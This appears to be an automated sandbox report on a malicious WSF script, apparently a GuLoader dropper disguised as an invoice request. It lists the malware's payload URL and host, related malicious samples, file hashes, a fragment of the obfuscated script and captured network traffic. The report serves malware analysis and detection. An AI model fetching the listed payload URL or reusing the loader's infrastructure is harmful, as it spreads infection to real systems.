00000005.00000002.4613344132.0000015D81486000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4613344132.0000015D80DE0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4613344132.0000015D8195E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4613344132.0000015D81C0A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4613344132.0000015D819FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4613344132.0000015D80D62000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4613344132.0000015D81A97000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000005.00000002.4613344132.0000015D80229000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000005.00000002.4613344132.0000015D80229000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://silinast.ro/Juglandin.xtpP	powershell.exe, 00000005.00000002.4613344132.0000015D80229000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://contoso.com/	powershell.exe, 00000005.00000002.4640956886.0000015D90071000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000005.00000002.4640956886.0000015D901B4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4640956886.0000015D90071000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000005.00000002.4640956886.0000015D90071000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000005.00000002.4640956886.0000015D90071000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000005.00000002.4613344132.0000015D80001000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000005.00000002.4613344132.0000015D80001000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000005.00000002.4613344132.0000015D80229000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.241.183.45	silinast.ro	Romania		5588	GTSCEGTSCentralEuropeAntelGermanyCZ	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1528870
Start date and time:	2024-10-08 11:00:54 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Wniosek o numer faktury.wsf
Detection:	MAL
Classification:	mal96.troj.expl.evad.winWSF@9/3@2/1
EGA Information:	Failed
HCA Information:	Successful, ratio: 83% Number of executed functions: 6 Number of non-executed functions: 2
Cookbook Comments:	Found application associated with file extension: .wsf Override analysis time to 240s for powershell

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 20.223.36.55, 20.223.35.26, 20.103.156.88, 20.31.169.57
Excluded domains from analysis (whitelisted): client.wns.windows.com, otelrules.azureedge.net, slscr.update.microsoft.com, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, arc.msn.com, fe3cr.delivery.mp.microsoft.com, iris-de-prod-azsc-v2-weu.westeurope.cloudapp.azure.com, ocsp.digicert.com, iris-de-prod-azsc-v2-weu-b.westeurope.cloudapp.azure.com, arc.trafficmanager.net, www.msftconnecttest.com, iris-de-prod-azsc-v2-neu-b.northeurope.cloudapp.azure.com, iris-de-prod-azsc-v2-neu.northeurope.cloudapp.azure.com
Execution Graph export aborted for target powershell.exe, PID 1336 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
05:01:49	API Interceptor	11575697x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.241.183.45	Prosba o oferte.wsf	Get hash	malicious	GuLoader	Browse	silinast.ro/Kommunikuternes.inf
188.241.183.45	g 288322.vbs	Get hash	malicious	GuLoader	Browse	silinast.ro/Loveman232.msi

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
silinast.ro	Prosba o oferte.wsf	Get hash	malicious	GuLoader	Browse	188.241.183.45
	g 288322.vbs	Get hash	malicious	GuLoader	Browse	188.241.183.45
	Cerere oferta S.C. SHIPYARD ATG GIURGIU S.R.L..vbs	Get hash	malicious	GuLoader	Browse	188.241.183.45

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GTSCEGTSCentralEuropeAntelGermanyCZ	Prosba o oferte.wsf	Get hash	malicious	GuLoader	Browse	188.241.183.45
	ZAMOWIEN.EXE.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	185.146.87.128
	na.elf	Get hash	malicious	Unknown	Browse	94.42.225.21
	https://alquimista.hosted.phplist.com/lists/lt.php?tid=cE0FU1AHDgIFBx4AXQpVFAZXX18ZAwJTUx9QXA8AVFIMCQAEUVZKAFQHUVFfBFYUCloJBRlWDQ1SH15cAl1MUAFUAwIDUgNQUFlSHQxTUg1XUF9VGVIHVgUfUlgOUUxZXAZSGFMFDwxZBFdUWAEDAA	Get hash	malicious	Unknown	Browse	188.241.222.249
	ZAMOWIEN.EXE.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	185.146.87.128
	g 288322.vbs	Get hash	malicious	GuLoader	Browse	188.241.183.45
	na.elf	Get hash	malicious	Mirai	Browse	94.42.225.83
	na.elf	Get hash	malicious	Mirai	Browse	62.168.37.193
	na.elf	Get hash	malicious	Mirai	Browse	94.42.225.84
	na.elf	Get hash	malicious	Mirai	Browse	94.42.225.74

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	11608
Entropy (8bit):	4.890472898059848
Encrypted:	false
SSDEEP:	192:6xoe5qpOZxoe54ib4ZVsm5emdqVFn3eGOVpN6K3bkkjo5OgkjDt4iWN3yBGHVQ9R:9rib4ZmVoGIpN6KQkj2Fkjh4iUxsT6YP
MD5:	8A4B02D8A977CB929C05D4BC2942C5A9
SHA1:	F9A6426CAF2E8C64202E86B07F1A461056626BEA
SHA-256:	624047EB773F90D76C34B708F48EA8F82CB0EC0FCF493CA2FA704FCDA7C4B715
SHA-512:	38697525814CDED7B27D43A7B37198518E295F992ECB255394364EC02706443FB3298CBBAA57629CCF8DDBD26FD7CAAC44524C4411829147C339DD3901281AC2
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_did32yk0.pdw.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kbyx2vmw.35g.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	XML 1.0 document, ASCII text, with CRLF line terminators
Entropy (8bit):	5.21854109830718
TrID:	Visual Basic Script (13500/0) 72.95% Generic XML (ASCII) (5005/1) 27.05%
File name:	Wniosek o numer faktury.wsf
File size:	15'275 bytes
MD5:	b3a1adc2eab232bddfe5149b896af1c8
SHA1:	be84a3bb6abe9b87cd90af27ca5574dae9607d48
SHA256:	55d2f245a0b7975884b7e5bbf284bcb72cc1514a726eb6988a1ca1e1e429cfb4
SHA512:	0e89f571ad6380cb2be315474da159b0bd7c76fe4a170ef6a0fdaf67d3cefcd156500fb87df21adfb4bd0e28d5591a7faf50ea766d3329560e8783be4cf88f4d
SSDEEP:	384:vvjOLjVGaVToUC5DX/FTZjkp6d+Ume68lh6x6orij59EUqAoWD7yQZ1Mm3IZLxVi:njOLjVGaVToUC5r/FTZwp6d+Ume68lh7
TLSH:	82627F9485560F8D2E43237E2C126536CDF86A7E653F0C5C7A781F6C201AC9DAEB69CC
File Content Preview:	<?xml version="1.0" ?>..<job id="Objektiverendes">..<script ..language="VBScript">..' <![CDATA[..Private Const Helnodes = -21686..Private Const Lnnedgang = 1562..Private Const dekuprsave = 18205..Private Const Chondralgia = &HB29E..Private Const Gloomi

File Icon


Icon Hash:	68d69b8f86ab9a86

Static OLE Info

General

Document Type:	Text
Number of OLE Files:	1

OLE File "Wniosek o numer faktury.wsf"

Indicators

Has Summary Info:
Application Name:
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	True

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 11:01:51.002646923 CEST	49764	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:01:51.010387897 CEST	80	49764	188.241.183.45	192.168.2.6
Oct 8, 2024 11:01:51.010473013 CEST	49764	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:01:51.010797977 CEST	49764	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:01:51.017071962 CEST	80	49764	188.241.183.45	192.168.2.6
Oct 8, 2024 11:01:51.017087936 CEST	80	49764	188.241.183.45	192.168.2.6
Oct 8, 2024 11:01:51.017141104 CEST	49764	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:01:51.023622036 CEST	80	49764	188.241.183.45	192.168.2.6
Oct 8, 2024 11:01:51.027549028 CEST	49765	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:01:51.032766104 CEST	80	49765	188.241.183.45	192.168.2.6
Oct 8, 2024 11:01:51.032905102 CEST	49765	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:01:51.032905102 CEST	49765	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:01:51.040224075 CEST	80	49765	188.241.183.45	192.168.2.6
Oct 8, 2024 11:01:51.040237904 CEST	80	49765	188.241.183.45	192.168.2.6
Oct 8, 2024 11:01:51.040287018 CEST	49765	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:01:51.040319920 CEST	49765	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:01:51.045425892 CEST	80	49765	188.241.183.45	192.168.2.6
Oct 8, 2024 11:01:51.045438051 CEST	80	49765	188.241.183.45	192.168.2.6
Oct 8, 2024 11:01:55.381283998 CEST	49800	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:01:55.386107922 CEST	80	49800	188.241.183.45	192.168.2.6
Oct 8, 2024 11:01:55.386218071 CEST	49800	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:01:55.386255980 CEST	49800	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:01:55.391288042 CEST	80	49800	188.241.183.45	192.168.2.6
Oct 8, 2024 11:01:55.391623974 CEST	80	49800	188.241.183.45	192.168.2.6
Oct 8, 2024 11:01:55.394777060 CEST	49801	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:01:55.399748087 CEST	80	49801	188.241.183.45	192.168.2.6
Oct 8, 2024 11:01:55.399944067 CEST	49801	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:01:55.399945021 CEST	49801	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:01:55.404967070 CEST	80	49801	188.241.183.45	192.168.2.6
Oct 8, 2024 11:01:55.405514956 CEST	80	49801	188.241.183.45	192.168.2.6
Oct 8, 2024 11:01:59.423763037 CEST	49827	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:01:59.428714037 CEST	80	49827	188.241.183.45	192.168.2.6
Oct 8, 2024 11:01:59.429476023 CEST	49827	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:01:59.429553986 CEST	49827	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:01:59.434372902 CEST	80	49827	188.241.183.45	192.168.2.6
Oct 8, 2024 11:01:59.439090967 CEST	80	49827	188.241.183.45	192.168.2.6
Oct 8, 2024 11:01:59.439807892 CEST	49828	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:01:59.444662094 CEST	80	49828	188.241.183.45	192.168.2.6
Oct 8, 2024 11:01:59.444941998 CEST	49828	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:01:59.445091009 CEST	49828	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:01:59.455378056 CEST	80	49828	188.241.183.45	192.168.2.6
Oct 8, 2024 11:01:59.459125996 CEST	80	49828	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:03.510548115 CEST	49840	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:03.515369892 CEST	80	49840	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:03.515460014 CEST	49840	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:03.515549898 CEST	49840	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:03.520430088 CEST	80	49840	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:03.520842075 CEST	80	49840	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:03.521414042 CEST	49841	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:03.526257992 CEST	80	49841	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:03.526333094 CEST	49841	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:03.526402950 CEST	49841	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:03.531275988 CEST	80	49841	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:03.531438112 CEST	80	49841	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:07.526309013 CEST	62204	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:07.531167030 CEST	80	62204	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:07.533785105 CEST	62204	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:07.533785105 CEST	62204	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:07.538710117 CEST	80	62204	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:07.539112091 CEST	80	62204	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:07.540004015 CEST	62205	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:07.544862032 CEST	80	62205	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:07.544936895 CEST	62205	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:07.545013905 CEST	62205	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:07.550333023 CEST	80	62205	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:07.550771952 CEST	80	62205	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:11.596337080 CEST	62206	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:11.601259947 CEST	80	62206	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:11.601347923 CEST	62206	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:11.604522943 CEST	62206	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:11.606467009 CEST	80	62206	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:11.606528044 CEST	62206	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:11.608222961 CEST	62206	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:11.609339952 CEST	80	62206	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:11.611330986 CEST	80	62206	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:11.611423016 CEST	62207	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:11.612965107 CEST	80	62206	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:11.616313934 CEST	80	62207	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:11.616449118 CEST	62207	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:11.616449118 CEST	62207	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:11.621279955 CEST	80	62207	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:11.621573925 CEST	80	62207	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:15.761619091 CEST	62208	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:15.766746998 CEST	80	62208	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:15.766834021 CEST	62208	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:15.766910076 CEST	62208	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:15.771770000 CEST	80	62208	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:15.772231102 CEST	80	62208	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:15.772903919 CEST	62209	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:15.777811050 CEST	80	62209	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:15.781749010 CEST	62209	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:15.781862974 CEST	62209	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:15.786715031 CEST	80	62209	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:15.787034035 CEST	80	62209	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:19.811691999 CEST	62210	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:20.132648945 CEST	80	62210	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:20.132886887 CEST	62210	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:20.132886887 CEST	62210	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:20.137829065 CEST	80	62210	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:20.138044119 CEST	80	62210	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:20.139060974 CEST	62211	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:20.144026041 CEST	80	62211	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:20.144129992 CEST	62211	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:20.144181013 CEST	62211	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:20.149041891 CEST	80	62211	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:20.149252892 CEST	80	62211	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:24.150852919 CEST	62212	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:24.155932903 CEST	80	62212	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:24.156007051 CEST	62212	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:24.156074047 CEST	62212	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:24.160938978 CEST	80	62212	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:24.161248922 CEST	80	62212	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:24.161829948 CEST	62213	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:24.166747093 CEST	80	62213	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:24.166810989 CEST	62213	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:24.166860104 CEST	62213	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:24.171673059 CEST	80	62213	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:24.171969891 CEST	80	62213	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:28.199570894 CEST	62214	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:28.204550028 CEST	80	62214	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:28.204714060 CEST	62214	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:28.204714060 CEST	62214	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:28.209677935 CEST	80	62214	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:28.210231066 CEST	80	62214	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:28.211112976 CEST	62215	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:28.216001987 CEST	80	62215	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:28.216089010 CEST	62215	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:28.216144085 CEST	62215	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:28.221443892 CEST	80	62215	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:28.221874952 CEST	80	62215	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:32.229635000 CEST	62239	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:32.234421015 CEST	80	62239	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:32.238723040 CEST	62239	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:32.239213943 CEST	62239	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:32.243912935 CEST	80	62239	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:32.244096041 CEST	80	62239	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:32.244235039 CEST	62239	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:32.244313955 CEST	62239	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:32.244611025 CEST	62240	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:32.249192953 CEST	80	62239	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:32.249224901 CEST	80	62239	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:32.249404907 CEST	80	62240	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:32.249557018 CEST	62240	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:32.249557018 CEST	62240	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:32.254410028 CEST	80	62240	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:32.254642010 CEST	80	62240	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:36.323085070 CEST	62243	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:36.327923059 CEST	80	62243	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:36.328002930 CEST	62243	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:36.328084946 CEST	62243	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:36.332808971 CEST	80	62243	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:36.332948923 CEST	80	62243	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:36.333570004 CEST	62244	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:36.338406086 CEST	80	62244	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:36.338474035 CEST	62244	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:36.338532925 CEST	62244	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:36.343275070 CEST	80	62244	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:36.343614101 CEST	80	62244	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:40.338550091 CEST	62245	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:40.343415976 CEST	80	62245	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:40.343501091 CEST	62245	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:40.343605042 CEST	62245	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:40.348352909 CEST	80	62245	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:40.348598003 CEST	80	62245	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:40.349097013 CEST	62246	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:40.353929043 CEST	80	62246	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:40.354007006 CEST	62246	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:40.354054928 CEST	62246	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:40.358989000 CEST	80	62246	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:40.359141111 CEST	80	62246	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:44.411983013 CEST	62247	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:44.416841984 CEST	80	62247	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:44.416920900 CEST	62247	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:44.418354034 CEST	62247	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:44.422311068 CEST	80	62247	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:44.423110962 CEST	80	62247	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:44.423185110 CEST	62247	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:44.427947998 CEST	62247	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:44.428235054 CEST	80	62247	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:44.428394079 CEST	62248	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:44.433306932 CEST	80	62247	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:44.433445930 CEST	80	62248	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:44.433530092 CEST	62248	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:44.438704967 CEST	80	62248	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:44.438810110 CEST	62248	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:44.446125031 CEST	62248	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:44.446170092 CEST	62248	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:44.451024055 CEST	80	62248	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:44.451037884 CEST	80	62248	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:48.526375055 CEST	62249	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:48.951278925 CEST	80	62249	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:48.951683044 CEST	62249	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:48.951987982 CEST	62249	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:48.956856966 CEST	80	62249	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:48.957151890 CEST	80	62249	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:48.958527088 CEST	62250	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:48.963365078 CEST	80	62250	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:48.963906050 CEST	62250	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:48.964099884 CEST	62250	80	192.168.2.6	188.241.183.45
